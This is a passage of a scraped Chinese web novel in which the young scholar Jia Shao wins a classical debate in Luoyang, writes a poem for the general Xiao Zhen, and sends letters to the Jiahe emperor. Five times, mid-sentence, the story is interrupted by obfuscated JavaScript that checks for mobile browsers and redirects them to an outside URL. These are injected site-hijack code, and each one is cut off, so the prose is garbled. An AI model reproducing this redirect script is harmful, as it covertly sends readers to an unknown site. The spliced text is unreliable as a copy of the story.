连何旭、苏祈、孟绅、周斐然四人,都紧紧盯着贾邵,暗中为他捏了一把汗。 兄弟,这种关键时候,你得支棱起来。 可千万别翻车了啊! 对此,崔岘表示:翻车?不存在的! 于南阳苦读五年、沉淀五年,汲取学习圣贤书,为的是什么呢? 为的不就是今日这等场合吗! 将军不可杀,士兵必须活。 圣贤圣贤,救不了人命,谈何称作‘圣贤’! 因此。 在无数道惊喜目光的注视下。 便见谪仙阁里,一身青衣、脊梁挺拔的贾邵粲然一笑,朗声道:“《尚书·仲虺之诰》言:克宽克仁,彰信兆民。” “《左传·僖公二十七年》载:报施救患,取威定霸。” “《商君书·更法》曰:治世不一道,便国不法古。” “《战国策·赵策二》载:反古未可非,而循礼未足多也。” “诸君空谈‘必诛败将’,可曾见商汤释伊尹而兴商,齐桓赦管仲而霸诸侯?变古愈尽,便民愈甚。若事事泥古,何以有三代更替!” 这是对苏祈‘古今之辩’的反驳。 此次反驳,贾邵明显全力以赴,不给对手留半分退路。 单是一个观点,便引用了四部圣贤书籍为佐证论据! 完全不留下任何漏洞。 而他这番话,也引来在场无数读书人惊艳折服。 这得是何等博学多才、满腹经纶,方能在如此短暂的时间内,做到这一步啊! 在无数惊叹声中。 唯有老崔氏提笔蘸墨,闷头狂写,同时在心里大声叫嚣:死手,快点写啊! 乖孙这些字,可谓‘一字千金’。 不仅能登邸报卖钱。 今日过后,自洛阳传出去,一定会声震天下的! 谪仙阁里,苏祈沉默了。 他一边高兴好朋友堪称完美的发挥,一边再次不解 世间怎么会有人比他苏祈还要变态的人! 既生祈,何生邵! 这不合理! 虽然心中五味杂陈,但苏祈还是坦然朝着贾邵一拱手:“我认输。 崔岘拱手给予回礼:“承让。 金谷园内沉默了一瞬。 而后爆发出雷鸣般的欢呼声。 方才那些难受、沉闷,霎时一扫而空。 贾邵,给大家带来了奇迹! 严思远等一群小黑粉们,更是脸色涨红,大声嚎叫,险些把手都给拍烂了! 他们一边鼓掌叫好,还不忘跟周围人得意炫耀:“看到了吗,贾邵师兄厉害吧?他就是我们反岘联盟的领袖! 于一片欢呼声中。 贾邵几乎未作停歇,继续道:“《尚书·泰誓》曰:天视自我民视,天听自我民听。 “《周易·系辞》云:变通者,趋时者也。 “《管子·牧民》曰:政之所兴,在顺民心。 “《左传·昭公元年》曰:国之大事,在祀与戎。 “诸君拘泥体用二分,可曾见宋襄公拘礼败于楚?《吴子·图国》言:内修文德,外治武备。今留将军活命,正是文德武备并举! “你说国法为体。但若法不能护国,要法何用?诸位难道想我大梁,重蹈宋襄公败楚覆辙不成? 这是对何旭‘体用之辩’的驳斥。 坦白说,方才何旭还担心贾邵‘翻车’。 但现在发现,纯属多余担心了。 他定定看着眼前引经据典、信手拈来的贾邵,彻底叹服了,郑重拱手道:“贾邵师兄大才。 贾邵同样给予回礼。 这下,都不仅仅是金谷园在欢呼了。 外面的百姓们越聚越多,虽然听不懂,但也大概知道,那个叫做贾邵的大才子,赢了! 他赢了,代表着萧震将军就有活命的可能了啊! 从方才的绝望,到现在充满希望,这怎么不是一场奇迹? 一位年轻读书少年郎,送给百姓,送给抗倭将士们的奇迹啊! 同何旭回礼后,崔岘看向周斐然,朗声道:“《左传·定公十年》载:裔不谋夏,夷不乱华。 “《 孙子·九地》云:投之亡地然后存。” “《墨子·兼爱》曰:视人之国若视其国。” “《吕氏春秋·察今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088464|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 》曰:世易时移,变法宜矣。” “诸君空谈华夷之防,可若诛护国之将而纵通敌之贼,尔等‘防‘的究竟是夷狄,还是在防天下民心?!” 好家伙! 看得出来,贾邵真是杀疯了。 一番引经据典之后,再加上‘防天下民心’的诘问,实在振聋发聩。 这谁敢接话? 周斐然一缩脖子,想也不想,当即拱手做出虚心聆听姿态:“受教了。” 兄弟,自己人! 你别把我也给‘杀’了啊! 崔岘照旧拱手回礼。 谪仙阁外,欢呼声已经快要把牡丹花海给震的开始摇曳了! 什么是绝世大才子? 这便是了啊! 凭借一己之力,杀穿三位大才子! 单人着青衫,站于人潮花海间,各种典故信手拈来,年轻肆意,神采飞扬! 贾邵之风姿,足以令全场为之折服神往! 今日辩经结束,‘贾邵’这个名字,必将会在无数人当中口口相传。 而后缔造出一位新的‘传奇’人物! 在一片炙热目光的注视中,贾邵最后看向孟绅,说道:“《尹文子·大道》曰:为政者,因民之利而利之。” “《逸周书·大聚》曰:民之所欲,天必从之。” “《鹖冠子·世兵》曰:圣人不利己,忧济在元元。” “《文子·微明》言:治国有常而利民为本。” “《孔丛子·刑论》曰:利天下者天下启之。” “你既谈义利,那我来告诉你!今日这''利''字,是《胡非子·止楚攻宋》所言''兼爱交利''!这''义''字,乃《随巢子·明鬼》所载''兴天下之利''!" “这‘利’是闽南万万生民活命之需!这‘义’是抗倭将士复仇之志!诸君空谈‘舍利取义’,可曾见饿殍啖草之悲惨?!” “若诛萧震,倭寇大军踏碎山河之时,谁人又担得起这‘义利’二字?!” 牡丹园林内一片震撼安静。 唯独贾邵一人,站在谪仙阁内,向众人,亦或者向朝堂天下—— 为萧震,和他身后的八千士兵,发出不甘的嘶吼,与诘问! ? 174、封侯非我意,但愿海波平(上) 洛阳牡丹园林里,这场万众瞩目的辩经,结束了。 和前面三位才子一样。 孟绅也朝着贾邵一拱手,感慨道:“贾邵兄之大才,孟某,自愧弗如。 随着孟绅认输。 围观的人群登时发出震天欢呼。 他们看向谪仙阁里那位青衣少年郎,高喊着‘贾邵’二字,眼神中尽是狂热与崇拜! 奋笔疾书许久的老崔氏,终于得以休息。 她一边龇牙咧嘴揉手腕,一边与有荣焉看向自家乖孙,神情中尽是骄傲。 而贾邵本人,则是朝着苏祈、何旭、周斐然、孟绅四人再次拱手,认真道:“今日我知道,牡丹园林里观看这场辩论的诸位,也都知道。 “你们四人,和我,和大家一样,都心系东南抗倭将士,心系家国苍生。 “贾某占尽天时地利人和,胜的是人心,而非真本事。 “改日,贾某必定邀请几位,无拘无束,好生再辩上一场。 听到这话,四人都笑了。 孟绅指着崔岘,摇头笑道:“贾邵啊贾邵,你这人,哪里都好,就是太过于圆润。为人处事,总想着留一线。 “但你大可放心,我们几个,绝非心胸狭隘之人。我们,输得起! 苏祈同样扬起下巴,冷哼一声:“反正,也不是第一次输给你了,早就习惯了。 “况且,今日输给你,只是一桩小事。若是来日,萧震将军能因此而活命,那我等,便是输了辩论,赢了人心大义。 “值了! 周斐然哈哈一笑,神情格外洒脱:“不管今日辩经过后,萧震将军,和那八千抗倭将士命运如何。但至少,我等尽了最大的努力! “贾邵,咱们约一场酒局吧,时间就定在……萧震将军被特赦之后,如何? 年纪最小的何旭,朝着贾邵一拱手,赧然笑道:“既定了酒局,那我想同贾邵师兄共饮。 “也想,跟贾邵师兄交个朋友。 显然。 一场辩论,贾邵不仅折服了外面围观的万千群众。 也折服了眼前的四位大才子啊! 听闻四人的话。 崔岘脸上浮现出灿烂笑意:“ 既如此届时我来做东请几位畅饮!咱们不醉不归!” 五位眉眼年轻、青春肆意的少年郎在谪仙阁内言笑晏晏。 看的全场为之神往倾倒! 不愧是名满天下的大才子们 等约好了酒局后。 谪仙阁里以贾邵为首五位才子互相对视默契看向场外众人齐齐拱手。 贾邵朗声笑道:“诸位就如方才周兄所言我等已经尽了自己最大的努力为萧震将军、和八千抗倭士兵谋求一条生路。” “如今辩论已结束但真正的‘战争’才刚刚开始打响!” “我们是否能赢接下来便交给诸君了!” 这场辩论是一点星火。 但真正能烧起来形成燎原之势的还是得靠在场的诸位和更多的万千百姓啊! “请贾邵师兄放心我等一定为萧震将军奔走!” “今五位才子之高义一定会传遍天下是为一段佳话!” “公道自在人心!为家国流血流汗之人绝对不能枉死!” 金谷园内。 无数读书人神情郑重朝着谪仙阁里五位才子拱手! 他们没有五位才子那般才华横溢。 但他们手中的笔同样可以救人! 人群最后方。 知府赵恒、同知齐栋梁两位府官看着这一幕神情怔忪。 尤其是赵恒他远远瞧着谪仙阁里好似在耀眼发光的贾邵咬牙说道:“齐栋梁啊齐栋梁你知不知道你这一步棋走的有多臭!” “贾邵本该前途无量的啊!才情无双运筹帷幄。陛下器重陈阁老赏识!可就因为你因为萧震一切都毁了!” “东南那边的疯子们绝对不会放过贾邵的!” 齐栋梁沉默片刻说道:“子非鱼安知鱼之乐?” “贾邵先生身怀治世大才岂会只顾前途不顾苍生?姓赵的你口口声声说我走了一步臭棋。说贾邵得罪了东南的疯子甚至得罪了陈阁老。” “那我且问你但凡贾邵在洛阳一日你可愿护他周全?” 赵恒闻言冷笑一声理所当然道 :“姓齐的难不成就只有你会走臭棋?” 齐栋梁吭哧吭哧闷笑。 赵恒见状也笑了。 这俩向来看彼此不顺眼的‘政敌’此刻因为一个人倒是难得达成了共识—— 为抗倭将士发声者绝不应该被辜负! 似乎是为了论证二位府官的想法。 本次辩经最震撼人心的一幕来了! 在一片人海当中。 一位穿着便衣眼眶发红身材壮硕的中年男人缓缓走了出来。 最开始还没有人发现异常。 可随着那个壮硕男人一步步往前走。 人群开始躁动而后默契如浪潮般分开。 在无数道目光的注视下那个中年男人昂首挺胸 接着。 伴随无数道振奋欢呼。 中年男人也就是萧震朝着谪仙阁里五位才子和全场众人抱拳。 哑声哽咽道:“多谢贾邵先生多谢诸位才子多谢今日在场的所有人。” “萧某不知来日结局如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088465|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “但今日在这洛阳牡丹园林里。萧某和八千士兵兄弟在诸位拼尽全力之下感受到了能活下来的希望!” “我和兄弟们在战场为诸君厮杀诸君在这里保护我等兄弟!” “我们两不辜负!” 好一句‘两不辜负’! 此话当即引来无数振奋叫好声。 萧震说完后。 在全场无数道惊疑目光中自怀里取出一封信件看向贾邵朗声道:“贾邵先生活命之恩德萧某记在心里不敢忘却!” “今日贾邵先生当众辩经之才情更令萧某叹服!” “不瞒先生萧某身为败军之将如今如惊弓之鸟谁也不相信。因此萧某这里有书信证据一封想请贾邵先生代为保管亦或者代为呈交。” 什、什么? ‘书信证据’——这四个字实在令人浮想联翩。 难不成…… 是东南豪强触犯律法之铁证? 萧震在东南抗倭能拿到这些证据不足为奇。 这也能解释,为何东南豪强要致萧震于死地。 可,如此重要的证据,为何要当众给贾邵啊? 若是贾邵真看了这些证据,那岂不是会被东南豪强盯上,处于危险境地! 现场气氛骤然紧绷。 连谪仙阁里,何旭、苏祈等人都神情不安。 唯有崔岘十分平静。 因为他知道,这封信,自己根本没机会看。 这般重要的‘铁证’,皇帝岂会让外人掌握? 萧震这个级别,自东南押解回京,一定会有锦衣卫亲自看护。 而萧震之所以能离开囚队,来到洛阳,无非是嘉和皇帝授意,锦衣卫故意放水。 想来,萧震前脚到洛阳,后脚就有锦衣卫暗中尾随。 甚至这场辩论,多半都在锦衣卫的监控当中。 崔岘让萧震在辩论结束后,当众给自己呈送‘证据’,也是为了矛盾转移——这封信,他会呈送给皇帝。 只要他没看这封信的内容,且把信件送去京城。 东南那边,就得提心吊胆应付这件事,揣测萧震信里写了什么,为接下来的朝堂政斗做足十二万分准备。 从而暂且抽不出时间,来找‘贾邵’的茬。 既然潜在危险无可琢磨,那不如换个思路,把‘危险’置于明面,至少它是可控的。 果不其然。 几乎是在萧震当众‘呈送证据’后的瞬间。 人群中! 数十位身穿便衣,眼含煞气的男人,气势汹汹冲了出来。 他们冲出来的同时,一手扯掉外衣,露出里面的飞鱼服! ? 175、封侯非我意,但愿海波平(下) 哗! 瞧见飞鱼服后,不管是外围的百姓,还是金谷园里的文人,甚至何旭等才子们,都神情惊骇。 甚至有人瑟瑟发抖跪下。 这个年代,‘锦衣卫’三个字,绝对是大梁无数百姓的噩梦。 甚至能止小儿夜啼! “锦衣卫办案,速速后退!” 为首一人握着手中的令牌晃了一晃,而后冷漠冲到萧震面前,斥责道:“大胆萧震,擅离囚队赶来洛阳,如今还敢私下通信,你可知罪?” 为首这位男人说完话后,更是令全场失声胆寒。 盖因,此人穿的是**袍! 这**袍,类似龙袍,只有皇帝亲信的锦衣卫高层才能穿! 如今锦衣卫当中,能穿**袍者,只有三人! 面对那**袍锦衣卫首领的质问,萧震不予理会,只看向贾邵,重复道:“先生,这封书信,我想斗胆,请您代为保管、呈交。” 说完这话。 萧震这才看向那**袍首领,冷声道:“沈指挥佥事,萧某有书信,想让贾邵先生代为呈交。至于是否为私通书信,望指挥佥事慎言!” 指挥佥事沈晖,锦衣卫三把手,官职正四品。 单看品阶,并不高,但众所周知,锦衣卫的品阶向来不讲道理。 至少此刻,萧震如此强硬跟沈晖说话,并不明智。 更不明智的是,沈晖已经到了,萧震还执意要把这‘书信证据’,递交给贾邵。 这是在干什么啊! 锦衣卫办案,向来猖獗。 就算是从二品的东南抗倭副总兵萧震,都不会被人家放在眼里。 更遑论一个草民贾邵? 一旦惹怒了沈晖,他怕是要把贾邵一起给抓了! 这样想着,周围无数人都目露惊恐担忧。 但,神奇的是。 沈晖却并未第一时间发怒,冷声道:“此等证据,交由我也是一样的。” 萧震直言不讳:“我不信你,这封证据,只能交给贾邵先生!” 他俩掐了起来。 现场气氛霎时间陷入冰点,人们头皮发麻,大气都不敢喘一下。 然而下一刻。 在无数人呆滞、傻眼、震撼的注视下。 便见身穿**袍的沈晖对着萧震不耐烦一声冷笑而后在众目睽睽下抬头 他那张常年不苟言笑的脸诡异的扯了扯露出一个非常难堪姑且算是友好的笑容连语气都变得温和了些:“不知贾邵先生可要替萧震呈交信件?” “我对此事没有半分异议。但锦衣卫当差不容易还望先生体谅。” “兹事体大先生若是要帮他递交这封信务必在锦衣卫见证下封存送出去。亦或者先生还要单独写信件锦衣卫也愿效犬马之劳代为呈送。” 哗! 听闻这话全场陷入死一般的寂静。 无数人脸上都是难以置信。 锦衣卫! 那可是穿**袍的锦衣卫啊! 从来只见锦衣卫嚣张跋扈他们什么时候能对人这般客气?! 不不不沈晖是只对贾邵客气啊! 他甚至连萧震这位抗倭副总兵都不放在眼里! 贾邵究竟是什么来头? 整个牡丹园林无数人震惊看向贾邵。 这位此前籍籍无名却在洛阳文会一战成名的绝世大才子此刻在众人眼中再次蒙上了一层神秘面纱。 迎着无数道震惊目光。 崔岘朝着沈晖客气一拱手:“既然萧将军盛情嘱托贾某实在无法推辞。但就如沈指挥佥事所言你我各有各的难处。” “如此我们互相体谅。萧将军这封信我不看恳请沈指挥佥事代为封存。” “同时我这里也要再写一封信并萧将军这封信一起送往京城。” “劳烦沈指挥佥事帮忙呈送。” 给皇帝送信何来‘劳烦’一说? 因此在各方震撼呆滞注视中沈晖客气道:“如此甚好来人给先生准备笔墨纸砚。” 嘶。 周围响起数道压抑不住的倒抽冷气声。 数位穿着飞鱼服的锦衣卫快速准备好笔墨纸砚呈送给贾邵。 甚至有一位锦衣卫还亲自给贾邵研墨! 何旭、苏祈等人被请出谪仙阁。 万众瞩目中 。 贾邵在谪仙阁落座执笔开始写信。 这封信他写了很久笔一直未停也不知究竟写了什么内容又是给谁写的信。 等好不容易停笔之后。 贾邵突然看向谪仙阁外的萧震问道:“萧将军我有一个问题。若是让你来选荡倭寇海波平亦或者封万户侯你会选择哪一个?” 萧震毫不犹豫答道:“自然是荡平倭寇。封万户侯对于萧某来说毫无意义!” 崔岘毫不意外这个回答朗声笑道:“好!既然这样我有一首诗赠予将军。” “来日上了朝堂将军不善言辞可借此诗向陛下向朝堂衮衮诸公明志。” 总觉得一场辩论火还不够旺。 再加点‘柴火’吧! 反正都决定要救人了那就把‘护甲’再叠厚一些! 萧震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088466|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听闻贾邵要写诗苏祈等才子萧震以及全场文人们都振奋瞪大了眼。 连锦衣卫沈晖都侧目看向贾邵。 在无数人注视下。 便见谪仙阁里一身青衣的贾邵提笔蘸墨一气呵成笔走龙蛇在纸张上书写。 与此同时。 少年郎清脆有力、充满蓬勃朝气的声音贯彻全场! “《韬钤深处——洛阳谪仙阁送抗倭将军萧震》。” “小筑暂高枕忧时旧有盟。” “呼樽来揖客挥麈坐谈兵。” “云护牙签满星含宝剑横。” “封侯非我意但愿海波平。” 此诗一成全场神情振奋群情激荡。 若非锦衣卫在场读书人们怕是要纷纷站出来激动到大声呼喊、嘶吼! 封侯非我意但愿海波平! 别说身为将军的萧震。 就是他们这些手无缚鸡之力的读书人听了都热血上头恨不得马上去东南海上嘎嘎乱杀倭寇! 而萧震本人在听完这首诗的内容后浑身一震眼眸霎时发红。 这首《韬钤深处》写尽了他萧震半生报复、一生心愿啊! 此时、此刻。 萧震站在牡 丹园林里,定定看着眼前才情横溢的少年郎贾邵,心想,这个人,他懂我! 他懂我‘封侯非我意,但愿海波平’之愿景! 就算眼前这少年郎,暂且是白身,又如何? 来日,此人必定一飞冲天! 而他萧震,愿追随此人! 因此。 萧震虎眸含泪,当众朝着贾邵深深一躬身,颤声道:“谢先生赠诗活命之恩情,萧震,和八千兄弟,铭记于心。” 在无数人动容注视下。 贾邵起身,朗声笑道:“我只盼来日,萧将军能为陛下,为我大梁、为大梁无数百姓,荡尽倭寇、平定海波!” 荡尽倭寇、平定海波! 这是何等崇高的愿景! 是对一位将军,最真挚的祝福啊! 围观的人群们再也忍不住,甚至不顾锦衣卫在场,激动跟着呐喊道:“荡尽倭寇、平定海波!” 呐喊声响彻牡丹园林。 崔岘那封信,那首诗,和萧震的那封信,一起封存,被锦衣卫送往京城。 本次辩经,结束了。 而贾邵单人辨战四位绝世大才子,引经据典之精彩内容,和那首震撼人心的《韬钤深处》,仿佛一团火种。 自洛阳城燃烧,然后呈燎原之势,蔓延向整个大梁! ? 176、送给皇帝的第二封信 锦衣卫沈晖,于金谷园当众带走了萧震。 稍后不久,一个令全洛城百姓振奋激动的消息,在市井中迅速传播—— 明日傍晚,八千抗倭士兵,会途径洛阳,与萧震将军会合,一同赶往京师! 整个洛城都轰动了! 与此同时。 ‘前线记者’老崔氏,带着自家员工伙计们,连夜加班。 印刷坊里的邸报,疯狂开始印刷! 老崔氏一回想起自家乖孙在谪仙阁里耀眼的风姿,便激动到不行,跟伙计们交代道:“印刷,给我狠狠地印刷,反正肯定不愁卖! “把贾邵那首《韬钤深处》,放在第一版,字迹一定要醒目! “再雇佣数十位临时伙计,明日一早,去全城各处售卖。 看着印刷坊里堆积如山的邸报,掌柜的有些眼晕,颤声道:“东家,这……印刷的是不是有点太多了啊! 老崔氏眼睛里尽是精明:“多吗?一点都不多! “本期邸报,受众可不仅仅是洛阳的读书人,还有整个大梁文坛官场! “你且看吧,咱们这一期的《东都花讯》,绝对会卖脱销! “这样,你交代下去。明日《东都花讯》限购,一人只能买一份!想买第二份,价格要加价一半! “若是要买第三份,价格直接翻倍! 啊? 掌柜的人都懵了。 真的会有人傻到买两份邸报吗? 事实证明—— 有的! 而且这种‘傻子’还不止一个! 次日。 天刚蒙蒙亮。 数十位卖报伙计,用板车拉着满满一车邸报,于整个洛阳城内叫卖。 而后不出意外,遭到全城哄抢! “我要买我要买!快给我一份! “贾邵师兄那首《韬钤深处》,我一定要珍藏!读完这首诗,我激动的一晚上没睡! “我要买十份! “什么?第二份要加价?黑心商贾!那再给我来二十份! “岂有此理,你买这么多做什么?后面的还没买到呢! ‘偶像’的力量 是无穷的。 贾邵师兄出了‘作品集’,作为‘粉丝’,读书人们当然要捧场,使劲购买啊! 至于你说,一个人没必要买数份、数十份邸报? 当然有必要啊! 那你有了偶像,是不是想炫耀? 所以肯定得一次性买大量的邸报,而后邮寄给亲朋好友同窗—— 快看快看,这就是我的新偶像,在洛阳文会石破天惊一鸣惊人,为抗倭将士发声的绝世大才子,贾邵啊! 他牛逼吧! 除了‘贾邵粉丝’。 还有关注着洛阳牡丹文会、以及萧震境遇的,无数大梁文坛、官场人员。 古代车马太慢,信息闭塞,《东都花讯》的邸报,刚好填补了这些空缺。 哪怕是价格翻倍,也抵不住市场需求旺盛啊! 全大梁都在眼巴巴等着呢! 因此。 此次洛阳牡丹文会,不仅重现了‘洛阳纸贵’的盛况。 连洛阳的镖局、信使业务,都空前激增,导致价格疯涨。 一天内,能有数百信使,带着《东都花讯》邸报,离开洛阳,快马加鞭赶往大梁各处。 急的老崔氏直拍大腿! 还是没经验啊,大意了! 等下次岘哥儿开封辩经,她绝对要提前开一家送信镖局,两头赚! 而随着《东都花讯》在洛阳卖脱销。 贾邵五位才子辩经的内容,和那首《韬钤深处》一起,在整座洛城传播。 大街上,市井中,茶楼里……到处都有人神情激动的谈论着‘贾邵’、‘萧震’等名字。 甚至连普通百姓,都能跟着说上一句‘封侯非我意,但愿海波平’! 这,便是璀璨诗词的魅力啊! 整个洛阳城,都因此热闹了一整天。 傍晚。 残阳如血,染红了洛阳城的青砖黛瓦。 无数百姓如约好了一般,齐齐赶去洛阳城外。 崔岘,苏祈、何旭、孟绅、周斐然等才子,以及知府赵恒、同知齐栋梁等人一起,登上洛阳城门楼。 在无数道目光注视下。 地平线上,烟尘骤起。 八千铁甲踏着整齐的步伐自洛阳城外官道奔涌而来。 铁靴震地刀戟映日战马嘶鸣声如雷贯耳。 城墙上洛阳守军早已擂响战鼓鼓声如怒涛般席卷全城。 洛阳城门轰然大开! 他们在用自己的方式迎接英雄! 百姓如潮水般涌出。 有白发老妪捧着新纳的布鞋颤巍巍地塞进士兵手中。 有稚子踮脚递上染着牡丹纹的平安符。 一中年男子推来十几坛陈年杜康拍开泥封红着眼嘶吼道:“诸位英雄好汉们!待凯旋时我再备百坛好酒为英雄们庆功!” 一位老汉扑跪在地捧出三块灵牌泣声道:“大郎战死蓟州二郎殁于济南三郎……” 在无数动容注视中。 老汉颤声从腰间抽出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088467|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把倭刀:“如今三个儿子皆战死。老汉我只剩这把倭刀!将军啊老朽余生这双枯手愿为大军磨粮草!” “只盼将军和诸位英雄为我儿们、为万千死于倭刀下的大梁儿郎——” “讨回个公道!” 为何萧震和八千士兵的生死会引来无数百姓为之摇旗呐喊呢? 大概此时此刻便是答案吧。 国之仇恨太大、太虚幻缥缈。 可落在一个小家身上就是如雷霆般恐怖的‘天罚’! 是以—— 百姓们愿意站出来 ‘封侯非我意’是将军的崇高理想。 ‘但愿海波平''是万千百姓的愿啊! 而面对百姓们真挚的感情。 八千士兵齐齐抽出长剑以剑柄叩击胸甲铠甲碰撞声如金石相击高呼:“修我甲兵与子偕行!” 这是《诗经·秦风》式军礼。 象征同仇、同泽、同裳的誓言。 八千士兵前方。 身穿铠甲的萧震抬头看向城门楼上方的贾邵郑重抱拳。 萧震身后。 八千士兵跟随将军一起向城门楼上的才子贾邵等人齐齐行礼! 他们知道城门楼上的诸位为他们的生死做出了努力! 洛城城门上方。 崔岘,和一群才子,郑重向将士们作揖回礼。 该做的,都做了! 如今多说无益,只盼诸位将士,能有个锦绣前程未来! 双方在洛阳城外,于无声中,互表心意。 而后。 萧震长揖及地,转身挥戟。 八千铁甲同时转身,铠甲碰撞声如惊雷。 洛城牡丹艳艳。 萧震带着八千士兵,穿过洛城,赶往京师。 另一边。 锦衣卫带着萧震、贾邵的信件,先一步八百里加急,呈送京城。 令整个大梁震惊愤怒的是。 锦衣卫此次送信途中,经历了四次截杀! 十八个锦衣卫信使,最后,只留一人活命! 东南豪强之猖獗,实在令人胆寒震怒! 乾清宫。 当秉笔太监,带着自洛阳送来的信件,呈送进来的时候。 正在打坐的嘉和皇帝,捏着手中厚厚的一封信,神情微妙极了。 他确实器重喜欢贾邵。 但,若是此次,贾邵自洛阳送来的这封信里,含有**倾向,或者党争手段的话—— 纵然再器重这个少年郎,他也不可能跟贾邵继续通信了。 ? 177、爱卿乃朕之肱股也! 怀揣着某种意味难明的心思嘉和皇帝打开了那封信件。 他先拆开看的是萧震那封所谓的‘证据’。 里面是一沓厚厚的空白纸张除此之外什么都没有。 嘉和皇帝愣住了。 这封信让东南那边的人急的抓耳挠腮甚至不惜数次派遣**截杀锦衣卫。 结果竟然是一堆空白信纸? 嘉和皇帝盯着那一沓白纸愣神片刻后朗声大笑神情中尽显痛快。 他知道萧震此人一介武夫断然没有这般高明手段。 否则也不至于在东南被欺负的这般凄惨。 显然这多半是贾邵的手笔。 一封空白书信便让东南那边 怎么不让嘉和皇帝感到痛快呢? 所以对于贾邵给自己寄来的第二封信嘉和皇帝越发好奇。 可越是好奇也越是迟疑。 他器重贾邵这个少年郎。 因此。 他只希望这位少年郎‘忠君’而不是参与进党争之中和朝堂那些人一样汲汲营营。 大概是越善于权谋平衡之术的帝王心中反而越发向往有一位忠臣能发自内心唯独心系君父吧! 人啊终会对自己毕生不可得之物困顿一生。 哪怕皇帝也不例外。 嘉和皇帝打开了贾邵的那封信。 他眯起眼睛看向那封信的内容神情先是微微迷茫而后嘴角的笑意怎么都压不住。 因为这第一张信纸上的内容一个字都没有。 它是一封惟妙惟肖的简笔画。 画中。 牡丹花海绚烂贾邵本人坐于谪仙阁最中间。 外围是无数百姓。 百姓当中有疑似神情狰狞者恶毒者混入其中——大概率是东南豪族探子? 也有身穿飞鱼服的锦衣卫神情冷漠姿态警惕。 一位将军在花海中朝着贾邵抱拳。 显然是萧震。 数位年轻人正站在贾邵对立面看情况是在辩经。 被各方围拢起来的贾邵本人在 最中心位置,神情瑟瑟发抖。 嘉和皇帝对洛阳情境尽在掌握,因此轻松便明白了贾邵所要表达传递的意思。 一幅简笔画,活灵活现表述了洛阳牡丹园林谪仙阁辩经的场景。 而画中,花海更外侧。 正上方。 最显眼、最庞大的人物形象,是身穿龙袍的嘉和皇帝。 东南方向,是一片乌云阴影。 更妙的是。 位于最中心,几乎是被各方势力**起来的贾邵,看似神情忐忑。 实则在贾邵的背后,画着两条尾巴。 这两条尾巴,一条对准东南方向,高高扬起,尽显桀骜。 另一条尾巴,对着嘉和皇帝,低低垂落摇晃。 贾邵的背面,用框框引出了两张他自己的脸。 一张脸看向东南豪强,不屑又鄙夷。 一张脸看向嘉和皇帝,崇拜又忐忑。 对于嘉和这样喜欢弄权、玩心眼子的皇帝来说,这幅简笔画,实在太妙了。 一下子就戳中了他的心巴! 贾邵一个字都没写。 但嘉和皇帝完全看懂了对方的意图。 比如简笔画里,贾邵那条对准东南豪强高高扬起的尾巴,意思是:我不怕你,我有和你对抗的实力。 哦? 这位少年郎,难道背景通天,能跟东南叫板? 他,会是谁的人呢? 陈秉? 亦或者郑霞生? 另一条尾巴,则是低低垂落,对准了嘉和皇帝。 嘉和皇帝很聪慧,一下子就懂了贾邵的意图。 先是呈上孟津祥瑞,后又按照自己的意图,救下萧震,贾邵本应该‘扬起尾巴’向自己表功才是。 没错。 让萧震去洛阳,找贾邵帮忙,确实是嘉和皇帝授意的。 可,帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088468|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 